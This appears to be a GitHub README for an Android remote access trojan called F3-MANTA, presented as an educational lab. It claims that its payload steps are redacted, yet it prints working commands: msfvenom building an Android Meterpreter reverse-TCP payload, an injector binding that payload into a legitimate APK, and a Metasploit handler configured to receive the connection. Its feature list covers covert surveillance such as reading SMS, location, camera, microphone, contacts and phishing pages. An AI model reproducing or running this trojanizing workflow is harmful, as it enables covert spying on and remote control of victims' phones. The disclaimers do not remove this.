Project: F3Manta-Android-RAT • Author: mr f3ri • Telegram: @sudoferi

Short description:
F3‑MANTA — an educational Android RAT sandbox and Android post‑exploitation lab demonstrating Android WebView samples, safe payload concepts, build recipes, and defensive detection/hardening guidance for researchers and instructors.

Audience: Students, researchers, instructors, red/blue teams, and conference/lab attendees.
Purpose: Reproduce and explain Android post‑exploitation (Android RAT) behaviors in a safe, auditable, isolated environment for education, research, and defensive training only.

This repository contains a benign Android WebView sample, exact build steps, lab artifacts, and safe demo/playback guidance designed for Android RAT research and teaching. Use only in isolated environments (VM snapshots, host‑only networks). Obtain written authorization prior to testing any systems you do not own.

Keywords included for discoverability: Android RAT, Android Remote Access Trojan, Android malware analysis, Android post‑exploitation, mobile pentest lab, Android WebView RAT, red team Android.

• F3‑MANTA — Mobile Attack & Network Testing Arena (Android RAT)
  • TL;DR — Android RAT lab, analysis sandbox, and demo-ready artifacts
  • Table of Contents
  • About
  • Why F3‑MANTA (Android RAT sandbox)
  • Features
  • Disclaimer & Ethics (required)
  • Prerequisites (exact commands)
  • Build the example APK (exact commands)
  • Payload creation, binding, and runtime listener — REDACTED
    • Example: prepare the analysis lab and tools
    • Example: create a payload artifact
    • Example: bind or inject payload into APK
    • Example: inspect modified smali/manifest
    • Example: runtime listener / handler
  • Recommended isolated workflow
  • Safety & hardening recommendations (MUST read)
  • Demo tips for conferences

F3‑MANTA is an educational Android RAT sandbox and mobile post‑exploitation lab that demonstrates core concepts commonly discussed in Android RAT research:

• Android RAT architecture (implant ↔ handler/listener)
• WebView‑based Android samples and safe instrumentation
• APK build/rebuild workflows for analysis and auditing
• Static and dynamic indicators of tampering (smali / manifest changes)
• Lab hygiene and isolation for safe malware analysis

This README intentionally uses common and alternate search terms (Android RAT, Android remote access trojan, mobile RAT, Android malware analysis, Android pentest lab) so researchers looking for Android RAT sandboxes and demos will find F3‑MANTA.

• Designed specifically for education and defensive research into Android RAT techniques and detection.
• Includes benign demo artifacts and a clear, auditable build process so instructors can teach Android post‑exploitation concepts without exposing live exploit recipes in the public repo.
• Emphasizes lab isolation, reproducible demos, and detection/mitigation guidance for defenders.

• 🔴 Real time monitoring (demo telemetry)
• 🌐 Custom WebView sample (benign demo app)
• 🔔 Notification reader (demo telemetry)
• 🛰️ Receive device location (for lab demo)
• ✉️ Read target messages (demo / simulated)
• ✉️ Send SMS with target device (lab-only)
• 👤 List and export target contacts (demo)
• 💻 Enumerate installed apps (analysis artifact)
• 📷 Capture front & back camera (demonstration, emulator)
• 🎙 Microphone capture (with duration limits in demo)
• ✅️ Auto start after device boot (demo behaviour)
• 🤖 Auto permission handling (demo / simulated flows)
• 🖥️ Screenshot capture (for analysis playback)
• 🔐 Injection (conceptual — injection examples are not published here)
• 🔐 Open phishing pages in a controlled demo environment (simulated)
• 📒 Gallery puller (pull gallery assets from lab device)
• 📁 File receive/delete/file manager (lab-only demonstration)
• 🤖 Claims of "undetectable" are presented as research claims — treat these as analysis topics, not recommendations; this repo does not provide evasion recipes.
• And more — focused on teaching defenders how to detect these behaviours.

NOTE: Feature list mirrors the original repository content; all operational commands remain unchanged below.

Important: This repository is strictly for educational, research, and defensive purposes. You must have explicit written permission to test or interact with any device, network, or resource you do not own.

Misuse of materials in this repository may be illegal and unethical. If you are unsure whether an action is permitted, stop and escalate to your legal/compliance team.

Run these inside an isolated lab VM (Kali Linux / Debian / Ubuntu example). These commands install an OpenJDK and Android command‑line tools.

sudo apt update && sudo apt upgrade -y
sudo apt install openjdk-17-jdk -y
sudo apt install android-sdk -y

mkdir -p $HOME/Android/Sdk/cmdline-tools
cd $HOME/Android/Sdk/cmdline-tools
wget https://dl.google.com/android/repository/commandlinetools-linux-9477386_latest.zip
unzip commandlinetools-linux-9477386_latest.zip
mv cmdline-tools latest

# Environment (add to ~/.bashrc or run in-session)
export ANDROID_HOME=$HOME/Android/Sdk
export PATH=$PATH:$ANDROID_HOME/emulator
export PATH=$PATH:$ANDROID_HOME/platform-tools
export PATH=$PATH:$ANDROID_HOME/cmdline-tools/latest/bin
source ~/.bashrc

# Install SDK components
sdkmanager "platform-tools" "platforms;android-33" "build-tools;33.0.2"

Note: Perform all installs and SDK setup inside an isolated VM. Do not run untrusted binaries on production hosts.

These steps produce a benign debug APK that you may install only on an isolated emulator or lab device.

# move to the Android project
cd ./F3-Manta/AndroidWebViewCode

nano ./app/src/main/assets/config.json
# edit the sample app config (assets/config.json)
# Example content (change the URL only to a safe, known internal target if needed):
# {
#     "url": "https://google.com"
# }


# build the debug APK
./gradlew assembleDebug

# copy the artifact into the Lab folder for demos/analysis
cp ./app/build/outputs/apk/debug/app-debug.apk ../Lab/original.apk

The commands that would generate exploit payloads, bind/inject artifacts into APKs, or run post‑exploit listeners are intentionally redacted in this public README. Below each redaction you will find conceptual notes so readers understand the high‑level workflow without exposing actionable steps.

sudo apt update && sudo apt upgrade -y

sudo apt install metasploit-framework -y

msfvenom --version

msfconsole --version

Conceptual note: This normally installs research frameworks and tools inside a private analysis VM. For public distribution we do not list or link to offensive tooling.

cd ../Lab

msfvenom -p android/meterpreter/reverse_tcp LHOST=<your-system-ip> LPORT=<port:4444> -o payload.apk -f raw

Conceptual note: In an authorised lab, this step generates a test payload.

chmod +x ./apkinjector

./apkinjector

Conceptual note: Injection merges payload code with a target APK. The public repo omits binding recipes — present this conceptually or use inert artifacts included in Lab/.

./apkinjector ./payload.apk ./original.apk

If you can’t find the .smali file path, run the command below to list matching files and then enter the correct path manually.

find /tmp/original -type f -name 'MainActivity.smali' -print

Conceptual note: Analysts would inspect smali/ changes and manifest entries with static analysis tools inside the isolated lab to find tampering indicators.

msfconsole -q

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST <your-system-ip>

set LPORT <port:4444>

Conceptual note: A listener conceptually receives callbacks from a payload. For public demos, show sanitized recordings or mock transcripts — do not publish live handler instructions.

1. Create fresh VM snapshots for: builder, target (emulator), and analyst.
2. Use host‑only or VLAN networks; block outbound Internet from lab VMs.
3. Separate roles: keep build, target, and analysis on different machines.
4. Instrument and capture: use packet capture, process tracing, and centralized logging on an analysis VM.
5. Revert snapshots after every demo and securely delete ephemeral artifacts.

• Written authorization: Obtain explicit written permission before testing any system you do not own.
• Least privilege: Run only processes with necessary privileges; avoid running as root unless required.
• No real data: Never use production credentials or real user data inside the lab.
• Audit & logging: Keep auditable trails for all actions and artifacts.
• Access controls: Keep Lab/ artifacts private and delete them when no longer required.
• Clear disclaimers: Display legal/ethical disclaimers on slides and materials distributed with demos.

• Prepare a short, high‑resolution GIF as a fallback for live demos.
• Show a concise architecture diagram that emphasizes isolation (builder → target → analyst).
• Emphasize detection and mitigation: what defenders should look for and how to respond.
• Include a dedicated slide about Ethics & Legal Boundaries.